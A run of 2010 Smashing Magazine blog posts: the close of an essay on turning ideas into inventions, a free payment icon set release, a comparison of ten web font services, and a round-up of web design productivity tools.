Alexander Graham Bell was a scientist from Scotland (originally) that had always had a natural curiosity for the world. This resulted in experimentation with inventing at a young age, most notably a simple dehusking machine at age 12.

Due to the gradual deafness of his mother starting at a young age, he was led to study acoustics which eventually led to the invention of the telephone. Bell’s telephone grew out of improvements he made to the telegraph. He had invented the “harmonic telegraph” which could send more than one message at a time over a single telegraph wire. His path to success was not as clear as one might think and is surrounded by past failures and controversy.

Bell’s first serious work with sound transmission used tuning forks to explore resonance. Unfortunately, this groundbreaking undertaking had already been completed worlds away in Germany. A short change in path led Bell to transmit sound through electrical means. He experimented first by trying to transmit musical notes and articulate speech.

Alexander Graham Bell had not set any clear destination and became overwhelmed with his experiments. After many sleepless nights he created a harmonic telegraph which became the first stepping stone to the creation of the telephone. After entertaining other possibilities such as the phonautograph and sending multiple telegraph messages on a single line, Bell refined the idea of acoustic telegraphy.

By recognizing progress and changing his path, Bell (with the help of Thomas Watson) was able to invent the sound-powered telephone. By starting with the idea of transmitting a voice through electricity, Alexander Graham Bell was able to, through a series of refinements, invent technology that is used around the world even today. Bell continued to test out new ideas involving kites, airplanes, tetrahedral structures, sheep-breeding, artificial respiration, desalinization and water distillation, and hydrofoils.

Jack Dorsey’s Micro Communication

Jack Dorsey is an American software architect that had an interest in making “instant messenger” updates available for friends to see. This was a refined concept that eventually grew into what we now know as Twitter. Three guiding principles of this innovative idea are simplicity, constraint and craftsmanship.

Jack had an early fascination with cities and how they work, so he would always carry maps around with him. His attraction with mass-transit and how cities function led him to taking advantage of public transit databases in Manhattan. He built off of his original idea that gave meaning to his overall concept. His idea make clear though working on dispatch software, programming real-time messaging systems for couriers, taxis, and emergency vehicles.

Jack Dorsey’s experience helped him see his idea in a completely new perspective. Taking his seedling of an idea that would update friends of his status, Dorsey completed several field tests before recognizing that the technology available didn’t support his innovative idea. There are times when putting off a project is irrefutable. Jack Dorsey originally came up with his idea in the year 2000 but wasn’t able to execute effectively until 8 years later. Jack was effective in not letting his idea sit for too long but instead taking action when technology would let it thrive.

Conclusion

Making ideas happen isn’t easy and requires patience, determination and hard work. The most important part of it is not just coming up with a promising concept, but rather rethinking it over and over again, implementing it and then putting it to practice.

Most inventions come from necessity, so pay attention to small problems in your environment and find simple solutions to these problems. Do not sit idle on the idea — act instead. Take opposing thoughts and resolve them in your innovative designs. And keep innovating all the time, one step at a time. The time will pass, and if you have some luck, you will see your idea growing, flourishing and maybe even turning into a real success. …So what are you waiting for?

Further Resources

Here are further articles and related resources:

• Five Tips For Making Ideas Happen
  Creative types have a problem. We have so many great ideas, but most of them never see the light of day. Some creative people and teams are able to defy the odds and make their ideas happen, time and again.
• 99 Excuses For NOT Making Ideas Happen
  If you’re NOT doing something, what does it matter why? See what their readers feel are the most common excuses for NOT making ideas happen.
• Executing Ideas Often is Difficult for Leaders
  Strategy is too often just a bad joke (with allusions to Dilbert’s pointy-haired boss) among the working-level people who actually produce the products, provide the service and generate the profit.
• How Do You Keep, Develop and Execute Ideas?
  There are so-called serial entrepreneurs who are fond of jumping from one great execution of an idea to another. And more often than not, they gain much experience–and money–in the process.
• Ideas Are Not Innovation
  Continuous innovation is critical to most businesses, and your is no exception.  Innovation must be woven into the very fabric of your culture.
• The 3 Most Common Mistakes When Growing an Idea into a Business
  Sometimes this energy and excitement can be blinding.  Some people are so tremendously passionate, yet lack the ability to take ownership and really get things done.

© Robert Hartland for Smashing Magazine, 2010. | Permalink | Post a comment | Add to del.icio.us | Digg this | Stumble on StumbleUpon! | Tweet it! | Submit to Reddit | Forum Smashing Magazine
Post tags: 99% conference, dorsey, graham bell, idea, ideation, innovation, Inspiration, picasso, successful

  

Today we are glad to release a Payment Icon Set, a set with 18 payment icons in PNG format, in the resolutions 32×32px — 128×128px. This set was designed by Phil Matthews and released especially for Smashing Magazine and its readers.

The icons are inteded to be used on e-commerce websites where you can show what types of payment the shop accepts. Each icon comes in curved and straight edge variations. As usual, the set is free to use in private and commercial projects — no credit is required.

Download the icon set for free!

You can use the set for all of your projects for free and without any restrictions. You can freely use it for both your private and commercial projects, including software, online services, templates and themes. The set may not be resold, sublicensed or rented. Please link to this article if you want to spread the word.

• preview
• download the icon set for free (zip, 0.8 Mb)

Behind the design

As always, here are some insights from the designer:

This icon pack includes 18 different payment icons in PNG format. These icons are released free of charge and can be used without credit. The icons cannot be resold in any way. The copyright of each logo is owned by the respective payment company and I do not take responsibility for any part of the design of these. They are inteded for you to show what types of payment your website accepts. Please spread the word if you like this icon set or find it useful. Thank you.

— Phil Mathews

Thank you very much, Phil! We really appreciate your efforts.

© Vitaly Friedman for Smashing Magazine, 2010. | Permalink | Post a comment | Add to del.icio.us | Digg this | Stumble on StumbleUpon! | Tweet it! | Submit to Reddit | Forum Smashing Magazine
Post tags: credit card, Freebies, Icons, payment

  

In the mid-80s the desktop publishing revolution began with the introduction of the Mac Plus, Aldus PageMaker and the Apple LaserWriter printer. It took quite a few years for these tools to make an impact on the design and publishing world, but once they did, there was no looking back.

In 2010 we see a similar revolution starting to take shape with web fonts. Even though @font-face was introduced in the CSS2 spec in 1998, it wasn’t until this past year that all in-use web browsers added support for it. This year we’re seeing a wave of web font services being marketed, and this could have a profound impact on web typography.

Web font services, like Typekit and now the Google Font API, have captured a lot of attention. But in the past 3 months there’s been an explosion of new services; services like Fonts Live, Fontdeck, Webtype and others with conjugated names involving “Font” or “Type”.

While all of these services are unique, they each provide a tool for web designers and developers to legally display professional fonts on their website. The guide below compares 10 of these services, breaking down the pros and cons of each. We hope this comparison will help you make a more informed decision on which service to use when you venture into the ever-growing, sometimes confusing, world of web fonts.

[Offtopic: by the way, did you know that there is a Smashing eBook Series? Book #2 is Successful Freelancing for Web Designers, 260 pages for just $9,90.]

Typekit

Typekit, Inc. is a popular web font service from Small Batch Inc and founder Jeffrey Veen. Typekit was one of the first services on the scene and is currently one of the most widely adopted services on the market.

Font Selection
4000 (about half of these are through the Typekit library, and the other half via licensing arrangements with foundries who sell their own web licences)

Advantages Over Other Services
Strong platform integrations. Typekit is a scaled service, with well over 80 million unique users each month.

Pros
Extremely easy setup for designers and developers, allowing integration within minutes. Integration with Google Font API and blogging platforms including WordPress, Posterous and Typepad. The full font library is available via most plans for a single low price, allowing customers to try different fonts on one site as well as use different fonts on multiple projects. Now offering Adobe fonts. Enterprise customers can self-host using their own CDN. The service allows you to host custom fonts. The simple free plan doesn’t expire.

Cons
Implementation requires JavaScript (although on the Typekit blog they list some reasons that JavaScript-based implementation has its advantages). Fonts are not available for desktop use.

Pricing
Free trial account includes the use of 2 fonts on 1 website. Paid plans start at $24.99 per year (2 sites, 5 fonts per site). The more popular plans allow unlimited font usage on unlimited domains.

Fee Schedule
Annual subscription

Our Experience with Typekit

Setting up TypeKit is fairly straightforward. You just set the domains you want to use (the free trial site includes one domain and up to two fonts) and then build your Kit by adding fonts. A little JavaScript inserted into the header pulls in all the necessary CSS information. You can also reference the fonts in your own CSS, and use wild cards when adding to your list of allowed domains (e.g. *.domain.com will work on sub.domain.com).

As is the case with any web font service, there is a brief delay before the proper font is shown, but it’s barely noticeable. Since Typekit’s fonts are loaded via JavaScript, Typekit offers tools to control the loading process, so delays are not as noticeable to the user.

Webtype

Webtype is a recent creation of The Font Bureau, Ascender, DevBridge, and font experts Roger Black and Petr Van Blokland. Webtype is all about quality and boasts “fonts for the highest quality online typography, including typefaces which were designed from scratch specifically for onscreen reading”.

Font Selection
365

Advantage Over Other Services
Font quality

Pros
Quick and easy setup. Flexible pricing. Ability to host custom fonts as well as self-host. JavaScript-free integration. Desktop license available.

Cons
Some fonts are expensive compared to other web font services.

Pricing
Free 30-day trial on all fonts. Fonts start at $10 per year per site.

Fee Schedule
Annual subscription

Our Experience with Webtype

Webtype was easy to set up and use from the signup process on. Just browse and purchase fonts (a 30-day free trial license is available for testing fonts) and then create projects. Select the font you want to use for each project and you’ll be given a link code and CSS selector for each font. Then you copy and paste them into your HTML and CSS files and you’re ready to go.

Make sure you click “Save” from the CSS resource page that gives you the code, or it won’t be live. Resource size is also given on this page, which can be helpful if you’re trying to estimate bandwidth usage. The load time for the font was possibly a bit slower than some of the other services here, despite the small file size of the font tested.

Fontdeck

Fontdeck is a relatively new service by Clearleft and OmniTI. It was conceived in March 2009 by Jon Tan and Richard Rutter as a way to bring quality fonts to a wide audience while levelling the playing field for type foundries. It went into private beta in January 2010 and was open to the public in June of 2010.

Font Selection
600, with plans for this number to be doubled before Christmas.

Advantage Over Other Services
Only pay for the fonts you want to use. No bandwidth limit. Unlimited trial periods for all fonts (with a 20 IP address cap).

Pros
Easy to set up. Affordable options available. Automatically include similar style fonts in the font stack. Pure CSS with no JavaScript required.

Cons
No self-hosting option available. Fonts not available for desktop use.

Pricing
Some free fonts, but most start at $2.50 per year per site.

Fee Schedule
Annual subscription (which applies only to fonts on live web sites; as mentioned, all fonts have unlimited trial periods).

Our Experience with Fontdeck

Fontdeck was incredibly easy to set up. While it does require manual insertion of the CSS selectors into the stylesheet for your site (which is by design, to give designers as much control as possible), it provides the code for this immediately without the added step of setting up a stylesheet (the link is ready as soon as you select to add the font). Prior to purchasing the license, the first 20 visitors to your site can see the font.

I did find that I had to add the subdirectory to the hostname in order to get it working. But all the options and controls are located on a single page for each font, making it easy to update settings. Fonts are displayed quickly, but as with the other services, there is a split of a second when you can see the default font.

One added bonus from Fontdeck is that they include similar style fonts in the font stack, in case the user’s browser doesn’t support @font-face, and to help with the perceived change in text. Many of the other services just use the default font or a generic serif/sans-serif.

Fonts Live

Fonts Live is a new web font service from Ascender Corporation — the company behind the “Droid” fonts for Google’s Android mobile platform, the “Segoe” family of fonts for Microsoft Windows, and the Ascender Fonts desktop font web store. Fonts Live is similar to Webtype (both were developed by DevBridge), however, Fonts Live serves fonts exclusively from Ascender and its partners.

Font Selection
499

Advantage Over Other Services
Font quality

Pros
Flexible pricing. Desktop license available. Option to self-host web fonts. Integration with Google Font API. JavaScript-free integration. Now offering Hallmark fonts.

Cons
Some fonts are expensive compared to other web font services. Back-end was among the least user-friendly of the services featured here.

Pricing
Free 30-day trial on all fonts. Fonts start at $10 per year per site.

Fee Schedule
Annual subscription

Our Experience with Fonts Live

Setting up Fonts Live is a bit more labor intensive than setting up some others featured here. Setting up the service wasn’t without its bugs, either. First of all, read the documentation before you start, or you’re likely to get confused. With the first font I tried (Corsiva Italic), the site was unable to set up the resource and kept returning errors. It also created blank files for each of these failures, meaning I had to go in and manually delete them. Not sure if this was just an exception for that particular font or if it’s a more widespread problem. There was no mention of it in the site’s documentation.

I had better luck with the second font I tried (Romany). This time it created the resource without any issues. From there, you have to insert the stylesheet (“resource” in Fonts Live terms) link in your header and then insert the font family, style, and weight for whichever elements you want styled. The plus side here is that you don’t run into issues with your original stylesheet interfering.

Once it was up and running, however, it was noticeably faster serving the fonts than TypeKit, though this is likely due to smaller file sizes in the fonts used.

TypeFront

TypeFront is a hosting-only service which lets you upload a font you already own, as long as it has a web-friendly license (make sure you read the license agreement carefully!). Once you add the domain(s) you want to use, TypeFront provides you with the code to add to your website.

Font Selection: N/A

Advantage Over Other Services
Ideal for do-it-yourself designers and developers who understand the ins and outs of web typography.

Pros
Inexpensive. No noticeable delay when displaying web fonts.

Cons
You must supply your own fonts. Requires a solid understanding of your font license agreement.

Pricing
Free plan offers 1 font and 500 requests per day. Paid plans start at $5 per month (Australian dollars) and include 10 hosted fonts and 5000 requests per day. 30-day trial on all paid plans.

Fee Schedule
Monthly subscription

Our Experience with TypeFront

Once you’ve signed up for an account, uploading fonts is simple. Just make sure the fonts you’re using have a web-friendly license. From this point you have to enable the format you’d like to use for the font (included are EOT, OpenType, SVG, TrueType, and WOFF — at least for the font I used). Once one of those formats is enabled, you have to add domains.

After you’ve enabled your formats and set up the domains you want to use, you have to copy the @font-face code into your CSS files and add the font to your font stacks. The big advantage TypeFront has over the other services listed here is that there is no noticeable delay before the correct font is displayed.

Fontspring

Fontspring offers downloadable fonts for self-hosting. Unlike a hosted service, Fontspring provides downloadable font files and sample code to host web fonts on your own.

Font Selection
1,937 families

Advantage Over Other Services
No recurring subscription fee

Pros
Large font selection. No recurring fees or bandwidth restrictions. Desktop license included.

Cons
Font quality varies. Self-hosting only, which requires additional setup and technical skills.

Pricing
Free or up to several hundred dollars depending on the font family

Fee Schedule
One-time fee

Our Experience with Fontspring

Because these are self-hosted files, it’s a bit harder to get everything set up properly than it is with the other services here. When you purchase and download a font that includes an @font-face license, the download package includes all the files you’ll need for web implementation, including the various font file formats like EOT and WOFF.

I found it easier to just copy and paste the stylesheet information included into the existing site’s stylesheet. Once that’s done, you need to make sure your fonts are loaded into the same folder as your stylesheet (or change the URL information in the CSS). Add the font to your font stack and you’re ready to go.

The speed at which the fonts loaded was roughly the same as for most of the other services here. The advantage to using this service is that you own a permanent license to the fonts, without any recurring annual fees and with no restrictions on bandwidth or traffic.

Fonts.com Web Fonts

Web fonts from Fonts.com is a new venture from Monotype Imaging, the largest font distributor on the web. Fonts.com currently has, by far, the largest web font selection with more than 7,500 fonts.

Font Selection
7,500+

Advantage Over Other Services
Large Font selection

Pros
Currently the largest selection of fonts on the web. Exclusive home to popular fonts like Helvetica, Frutiger and Univers. Support for more than 40 languages. Use on unlimited domains. Download up to 50 desktop fonts per month with the Professional plan. JavaScript-free integration available to Standard and Professional subscribers.

Cons
Relatively expensive on a price-per-font basis when using a limited number of web fonts. The font selection interface is slower than average.

Pricing
Various tiers ranging from free up to $500/month. With a free tier, you have the ability to use any of 2000 fonts on an unlimited number of websites (up to 25,000 page views). Standard and Pro tiers will give you access to any of over 7,000 fonts. All pricing is dependent upon page views.

Fee Schedule
30 days

Our Experience with Fonts.com Web Fonts

The service looks pretty straightforward. You set up a project with as many domains as you want and then select the fonts you want to use for that project. Selecting fonts is a bit slow (it takes 30 seconds or more for a font to actually be added to a project), but not enough to be prohibitive. There’s a huge selection of fonts and powerful tools for sorting through them, in addition to search capability.

From there, you have to enter each CSS selector for which you would like to use a web font and select the font used for that particular selector using a drop down menu that lists the fonts you already selected for the project. One place where Fonts.com really stands out is in the options you have for publishing your new web fonts. There are two different JavaScript options — an “Easy” option and an “Advanced” one — that let you add the fonts to selectors directly in your stylesheet rather than just through the web interface, as well as two non-JS options (also “Easy” and “Advanced”).

Again, the Fonts.com site was a bit slow overall but the end result is just as fast and seamless as any other service listed here.

Google Fonts

Google Fonts, announced last May, represents Google’s foray into web fonts. Google offers the service free of charge. Although the selection is currently limited to certain public domain fonts, it has the potential to have a significant impact on the future of web fonts.

Font Selection
60 (including international fonts)

Advantage Over Other Services
Free

Pros
Easy to implement. Fast font loading. Google’s WebFont Loader lets you use their service with multiple web font providers.

Cons
Small font selection in the Google font directory. No support for iPhone or iPad (Mobile Safari). Now with support for iPhone and iPad (Mobile Safari).

Pricing
Free

Fee Schedule
N/A

Our Experience with Google Fonts

The Google Fonts API is probably the easiest of the services listed here to get started with, mostly because there is no sign-up process. You simply browse the fonts they offer, select one, and then get the code. Link the stylesheet in your website’s head, and then add the font to the font stack in your stylesheet.

The service is very fast, with only a barely noticeable lag before loading the proper font. The fact that there are no limits on usage of the service puts it among the top contenders on this list. The only major drawback is the limited number of fonts available.

Kernest

Kernest is a hosted or self-hosted (you can also use Fontue, Kernest’s open source web font serving engine) web font tool that converts fonts into web font ready formats and sample code.

Font Selection
2,450

Advantage Over Other Services
Most fonts are free

Pros
Open source web font serving engine. Large font selection.

Cons
Self-hosting only, which requires additional setup and technical skills

Pricing
Free or up to $15

Fee Schedule
One-time fee

Our Experience with Kernest

Kernest has a great selection of free and paid fonts available. Free fonts could be set up without having to sign up for an account. Just find the font you want to use, make sure the permissions are acceptable for your intended use (not every font is allowed to be used on commercial sites, for example), and then copy and paste the link and CSS code into your files.

Kernest works as well as any of the others on this site, with minimal lag time before the fonts load.

Typotheque

Typotheque is a graphic design studio and type foundry located in the Netherlands. Their hosted web font service includes a relatively small selection of Typotheque fonts. Typotheque was the first foundry to start its own web font service, and all fonts are designed in-house.

Font Selection
37 font families, many supporting various styles and languages; this means there are over 500 single fonts.

Advantage Over Other Services
Use on unlimited websites

Pros
Option to purchase a full (web and desktop) license. Over 250 languages supported, and from those up to 5 languages can be embedded. All fonts are exclusive to and designed by Typotheque. Offers self-hosting for large websites.

Cons
Limited font selection (although this is only true because their fonts are exclusive) and monthly bandwidth (500MB for each font within a font family).

Pricing
20% of the full desktop license (ex. Fedra Sans Std Book: Full @ €90, Web @ €18).  Includes 500MB monthly bandwidth.

Fee Schedule
One-time fee (€5 for every extra GB over 500MB)

Our Experience with Typotheque

Setup is similar to the other services listed here. Just select the font you want to use and the domains on which it will be used, add the stylesheet link to the head of your page, add the font to your font stacks, and you’re ready to go. Lag time for the font to load is comparable to the other services. The biggest drawback is the lack of font selection, but as mentioned, this is due to the fact that their fonts are exclusive to Typotheque.

The service did return an error when generating the font subset, but it appeared to work fine, so not sure if that’s a bug or if there would actually be problems with more extensive testing.

WebINK

WebINK is a hosted web font platform developed by Extensis, a software development company based out of Portland, Oregon and specializing in font management.

Font Selection:
2,000

Advantage Over Other Services
Can be affordable for the right type of user

Pros
Affordable pricing structure (similar to Typekit). Decent selection of fonts. Offers access both through the usual web interface, or alternatively through a desktop font management application called Suitcase Fusion 3 (Mac and Windows). This application has a live website preview mode for testing different fonts, and something called QuickMatch that finds the closest match to the chosen font on your computer.

Cons
Confusing interface and back-end. Each plan is limited to 4 websites (Note: Each user can set up as many “Type Drawers” as they want, allowing 4 websites per Type Drawer; so really the number of websites is only limited to an individual plan within a single user account, whereas the number of Type Drawers is unlimited).

Pricing
Free 30-day trial on all fonts. Packages start at $0.99 per month (only includes “Promotional” font selection) for 1GB usage and up to 4 websites.

Fee Schedule
Monthly subscription

Our Experience with WebINK

We only tested the web interface for WebINK, not Suitcase Fusion 3. The WebINK online interface is probably more confusing than the others listed here. The service allows you to create an unlimited amount of Type Drawers to hold the fonts for your different projects. To add fonts from the library into your Type Drawers, you need to click the “add fonts” button within a specific Drawer. Going directly to the font library will not allow you to have direct access to your Drawers, so this takes some getting used to.

Once you get the fonts you want into your Type Drawer, setting them up on your website requires adding the @font-face information to your stylesheet and placing the fonts into your font stacks. The speed at which the font loads on the site is about the same as any other service.

Font-Face

Font-Face recently scrapped its project after the recent Google Font announcement. However, according to their website, they are “hatching a new plan” so we may hear more from them yet.

How to Choose a Service

There is no “right” answer when it comes to choosing a web font service. Selecting the proper service usually depends on what you or your client need. You could ask yourself the following questions to help assess your needs:

• How important is font selection? Are there specific fonts you need?
• How important is font quality to you and your clients?
• Do you require a self-hosting option?
• Do you or your client have a budget? What type of fee structure would be ideal?
• Is iPhone and iPad (Mobile Safari) support important?

Based on your answers to these questions you should be able to use the quick comparison chart below, along with the more detailed information above, to make an informed decision, or at the very least find a few starting points to start digging deeper (also be sure to check out the great chart @font-face face off).

Quick Overview

Here is a short overview of the services reviewed in this article, including the number of fonts in each, advantages over other services, price and fee schedule.

Summary

Web font services, like any relatively new popular technology, are complex and rapidly proliferating.  While there is no “perfect” service, it’s promising to see such a wide variety of companies entering the industry and continually raising the bar for web fonts. I hope this breakdown helps you get a better handle on what’s available. If you’ve had your own experience using a web font service, please let us know in the comments.

Related Resources

• Graham Bird’s Font Face Face Off
• Web Typography: Font Embedding Services
• 10 Tools for Better Web Fonts
• Font-Face Guide
• 50 Useful Design Tools For Beautiful Web Typography
• Expressive Web Typography: Useful Examples and Techniques
• Why webfont services are the future of fonts on the web
• The Font-as-Service
• Web Fonts: Foundries Evolved
• On Web Typography
• Ultimate Web Typography: Resources and Inspiration

Disclosure: This article was co-written by Andrew Follett and Cameron Chapman. Andrew has provided consulting services for Ascender Corporation. Impressions were written exclusively by Cameron. All facts were checked and updated by Louis Lazaris.

© Andrew Follett for Smashing Magazine, 2010. | Permalink | Post a comment | Add to del.icio.us | Digg this | Stumble on StumbleUpon! | Tweet it! | Submit to Reddit | Forum Smashing Magazine
Post tags: embedding, font-face, fontdeck, Fonts, services, typekit, typography

  

There are tools that make our lives much easier. However, finding those obscure time-savers which would save time in every single project isn’t easy and requires a lot of time. At Smashing Magazine, we are regularly looking for such useful tools, gather them, review them and eventually prepare for a truly smashing round-up. Such posts are quite lengthy and extensive, but they are always worth checking out.

In this post, you’ll find an overview of useful and handy tools that can help you increase your productivity and improve your workflow. Some tools are more general, the others are more technical, yet we hope that this round-up has something to offer to every one of our readers. Please feel free to leave your comments and share with us which one of the tools you’ve found most useful and interesting.

[Offtopic: by the way, did you know that there is a Smashing eBook Series? Book #1 is Professional Web Design, 242 pages for just $9,90.]

Useful Time-Savers For Web Designers

House of Buttons
A growing collection of various buttons spotted in the wild by Jason Long. Very nice and useful collection, and submissions are welcome.

Historious
Historious makes bookmarking work the way you want it. Bookmark sites with a single click, then come back to Historious and find sites by entering a few keywords!

Browser UI
The Browser UI is an action that creates a browser window around any size Photoshop document you can throw at it. The Browser UI is easily installed and helps you get around with your Photoshop documents. A quick screencast is available on the site for a quick understanding of how Browser UI works.

A/B Split Testing Calculator
A/B Test Calculator shows you a comparison of several versions of a particular web page. In order to discover which one is most effective for your audience, you have to enter ‘statistically significant’ numbers.

What deux yeux have teux deux teuxday?
TeuxDeux is a simple, design to-do app that can be used for your iPhone. If you like making to-do lists, you will love TeuxDeux. This free browser-based app can be used everywhere; this way you have your to-dos ready to hand all the time. Check out the various TeuxDeux features included in this iPhone App shown in the left column.

Fillerati – Faux Latin is a Dead Language
‘Fillerati’ instead of ‘Lorem ipsum’… something different for a change. Modern browsers such as Chrome, Firefox, Safari or Opera are recommended.

Inline Code Finder
Inline Code Finder is a tool to traverse through all elements in a web page, and when it finds a HTML element with any of these, it will highlight them. It finds inline JavaScript events, inline CSS coding and javascript:-links.

Share your ideas – Mark (them) Up!
MarkUp works in any browser without the need of being downloaded nor installed. Simply add the MarkUp icon to your bookmarks bar and share your ideas and thoughts swiftly!

Placehold.it
Format, Text, Color and Size – Quick and simple image placeholders. You may want to check Dynamic Dummy Image Generator, too.

ResizeMyBrowser
This site helps you adjust your browser automatically, starting with a simple iPhone-sized browser (320×480) to a MacBook Pro (1440×900).
Note: This web application requires JavaScript. Please check your browser’s settings and make sure JavaScript is enabled.

XRefresh for web developers
A browser plug-in which refreshes the current web page due to file change in selected folders and communicates with browser extension using TCP/IP. This makes it possible to do live page editing with your favorite HTML/CSS editor, especially when working with two monitors at the same time.

Kodingen
The so-called ‘Cloud Development Environment’ which lets you connect to your own FTPs. Web-based access to file-system & svn integration. Also includes an Online Code Editor and Cloud Hosting.

LiberKey
LiberKey is a large collection of portable applications that can be run without installation on your local PC nor from any portable media. You may want to check Portable Apps as well.

Notes for Later
This bookmarklet is a web service for remembering websites. It creates a unique bookmarklet for your personal browser in which you can simply receive the content you need via email. If you select nothing, you still get the current page’s URL and a time stamp. Registration is quick and painless. No login is required – just an email address.

Timy
An easy-to-use desktop application to fill out your Basecamp timesheet and save a lot of time completeing your own personal timesheet.

Slammer – Designer’s Geometry Box
Overlays any grid you want, anywhere you want. A variety of themes and overlays are presented: Typographic Grids, Golden Sections, Fibonacci series, Rule of Thirds and more! Slammer also includes Rulers, Crosshair, Magnifier, Measurements and Screenshots; watching the movie on the Slammer main page will help you learn more. However, Snow Leopard is required.

URList
By dragging the bookmarklet to your browser’s bookmark bar, you will instantly save time in browsing the web and have a preview of the collected links that have been grouped previously. By clicking on the bookmarklet, you can always add a link. URlist not only enables you to create and save link lists easily, but also lets you access those links from anywhere. And creating lists is dead easy. Try it!

Licorizer
A new bookmarking service which allows you to mark relevant content without losing focus. Using a bookmarklet such as this one, enables you to add web pages and clippings to Licorize without leaving nor interrupting the web page you are currently focusing on.

Readability – An Arc90 Lab Experiment
Readability™ is developed to make reading on the Web more enjoyable and remove any clutter around what you’re reading at the moment. A preview of a given text is available to give you an idea of how the style, size and margin can be adjusted. Installing Readability™ into your Web browser is quite easy…and makes it easier on your eyes!

Joli: Print to PDF in Google Reader
Joliprint bookmark provides you an easy and quick way to print a Google Reader post as a PDF. First, you have to create a bookmarklet onto your browser’s bookmark bar, then select a post in Google reader and finally, click on the Joliprint bookmarklet to convert the activated post into a PDF document. Ta-dah! You can check Clipr Bookmarklet as well.

Spoon
Spoon lets you run desktop applications with no installs, conflicts or dependencies such as .NET, Java nor AIR. By virtualizing your existing apps, you can turn them in standalone EXEs, MSIs or flash drives. This tool is also very useful for cross-browser testing right within your browser and is provided in two versions: Spoon for Business or for Developers.

Web Development Project Estimator
A simple tool for web designers and site developers to quickly and thoroughly estimate the time and materials required for a proposed web project. A personal task list can be created, leaving you to decide which ones to include or even exclude. Most importantly, hours and rates of the particular project allow you to calculate the estimated final fee.

Golden Ratio Calculator
This online tool helps you calculate the width of your containers to achieve the golden ratio. You can have a column with a certain width (perhaps to achieve a nice word:line ratio) and you wish to find a matching column. Type in the width and use the left side, which gives you both a smaller and larger column. Or if you have a container and wish to divide it in two, type in the container width and use the right side measurements.

My DebugBar
Companion.JS is a Javascript debugger for IE. The current version is 0.5.5 and contains features such as JavaScript error reporting as well as a console feature which helps inspect JavaScript objects at runtime. Please note that CJS requires a Microsoft script debugger.

Entitifier
Cleaning up text for the Web can be very time-consuming and prone to error. In case your client ever ends up delivering content in Microsoft Word or a similar format, cleaning it up is definitely a necessary task to do — if you don’t want to end up with characters that don’t display properly online. By entering a HTML or simple text into the given text box and clicking on the ‘entitify’ button, you instantly have discovered a new tool which helps you escape any nasty characters that should be entities!

Every Time Zone
This tool shows an interactive chart of time in various cities across the globe. It also includes a slider to see the time in a particular city at any time of the day.

Instapaper
This is a simple tool that helps you save web pages for reading later, when you have time — for instance on mobile devices, iPad or Kindle.

Redmark: the easiest way to mark up a design and track revisions
Communication is very important and helps designers and their clients come to clear terms with each other. This site offers visual communication in just three simple steps between designers and clients. It is also possible for a client to find a particular designer they need to match their business. A Demo Project is portrayed for a quick view about how the site actually works.

Awesome Fontstacks
Fonts have always carried an important meaning to web typography. As we all know, a lot of work is required to match and adjust a satisfactory web font for a website. This site helps you create a font stack bundle and also gives you a preview into CSS coding inclusive.

Framebox: a wireframing tool
With Framebox, you can sketch your wirframes or just visualize your ideas using UI units such as boxes, headers, buttons, inputs, links, text, text links etc. You can then save it and get a link to created frame, and then send a link to your colleagues.

Droplr
Drag, drop, share! Droplr is the best way to share files from your Mac OS X on the internet, aiming for simplicity, ease of use and flexibility. This application is also completely free to use with ad supported content. Once the selected file is uploaded, Droplr returns a URL in which a user can share with anyone.

Mockingbird: Website wireframes
Mockingbird is an online tool that makes it easy for you to create, link together, preview, and share mockups of your website or application.

CodeBurner: Reference Tool for Web Developers
CodeBurner is a suite of tools for web developers that provides reference material for HTML and CSS, integrated with a range of popular development environments.

HTML Soft Hyphenation Generator
Configurable generator for automatic soft hyphenation in static HTML text without a script.

SelfControl
Is email a distraction? SelfControl is an OS X application which blocks access to incoming and/or outgoing mail servers and websites for a predetermined period of time. For example, you could block access to your e-mail, Facebook, and Twitter for 90 minutes, but still have access to the rest of the Web. Once started, it can not be undone by the application, by deleting the application, or by restarting the computer — you must wait for the timer to run out.

MinutesPlease.com – Manage your web time
This is an extraordinary website that you can have to help you control the time you spend on a particular site. Just type in the URL and the time you are willing to spend on this site – you will notice how fast time flies by!

Clue
A fun and easy way to create memory tests and see how much and what exactly people remember on your website.

Neuskool.com
Neuskool is a personal start page for all your browsing needs with a collection of useful search services, all on one page.

Check My Colours: analyze the color contrast of your web pages
This tool checks foreground and background color combinations of all DOM elements and determine if they provide sufficient contrast when viewed by someone having color deficits. All the tests are based on the algorithms suggested by the W3C.

COPASO: Color Palette tool
COPASO is an advanced color palette tool that helps you create the perfect color palette.

Useful Firefox Extensions

Pixel Perfect Firefox Extension
This extension allows you to overlay a web composition on top of the developed HTML. Letting the developer visually see how many pixels they are off in development.

SenSEO Firefox Extension – Official Website
SenSEO analyzes web pages and tells you how good they fulfill on-page Search Engine Optimization criteria. SenSEO is a Firefox add-on integrated with the popular Firebug web development tool. The code is based on the YSlow extension.

Firefinder
Firefinder is an extension to Firebug (in Firefox) and offers the functionality to, in a quick way, find HTML elements matching chosen CSS selector(s) or XPath expression. It allows you to instantly test your CSS selectors in the page while seeing the content at the same time, and matching elements will be highlighted.

Firediff
Firediff is a Firebug extension that tracks changes to a page’s DOM and CSS and implements a change monitor that records all of the changes made by Firebug and the application itself to CSS and the DOM.

Useful References

SEO Checklist
When it comes to SEO, there are certain elements that need to be in place for any newly-designed or updated website. Have 301 redirects been put into place? Is the robots.txt file authored to allow adequate crawling? This infographic depicts a handy checklist that will help get you through any new site launch or transition.

Typographic Sins
Typographic Sins (also available as PDF) by James Godfrey and Patrick Wilkey covers 35 mistakes commonly made by novice designers. The website puts them in a neat orderly list, but the PDF showcases them visually. It’s a great reference guide and learning tool if you want to learn better typography design.

Entity Code: a Clear and Quick Reference to HTML Entities Codes
A website that eliminates the frustration and the wasted time caused by constant need to add those hard to remember HTML entity codes, such as the copyright symbol © or em-dash —, every time you’re developing a new website or writing a new article.

Thirty Conversations on Design
The site creators asked 30 of the world’s most creative professionals two questions: “What single example of design inspires you most?” and “What problem should design solve next?” Their answers might surprise you. And, hopefully they’ll inspire you.

Essential Interaction Design Essays and Articles
A list of essays and articles that could be important touchstones and reference points for interaction designers.

Further Useful Tools

Min.us
You can drag your data which you wish to share online onto the min.us page. Very convenient.

Mr. Data Converter
Mr. Data Converter will convert your Excel data into one of several web-friendly formats, including HTML, JSON and XML.

PDF Split and Merge
PDFsam is a free open source tool (GPL License) designed to split and merge PDF documents. Whether it be only extracting sections into a single document or changing the order of the pages. The basic version can be downloaded and simply used on every platform with a Java support.

Last Click

Unsuck It
